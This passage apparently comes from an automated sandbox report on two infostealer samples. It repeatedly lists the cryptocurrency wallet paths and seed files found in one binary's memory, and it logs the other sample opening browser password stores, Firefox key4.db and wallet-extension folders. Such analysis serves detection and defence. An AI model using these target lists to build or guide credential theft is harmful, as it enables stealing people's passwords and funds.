Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 44e053de15.exe	String found in binary or memory: Wallets/Exodus
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 44e053de15.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 44e053de15.exe	String found in binary or memory: keystore
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 44e053de15.exe, 0000000B.00000003.2566179633.0000000001650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \user\AppData\Roaming\Ledger LiveU

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
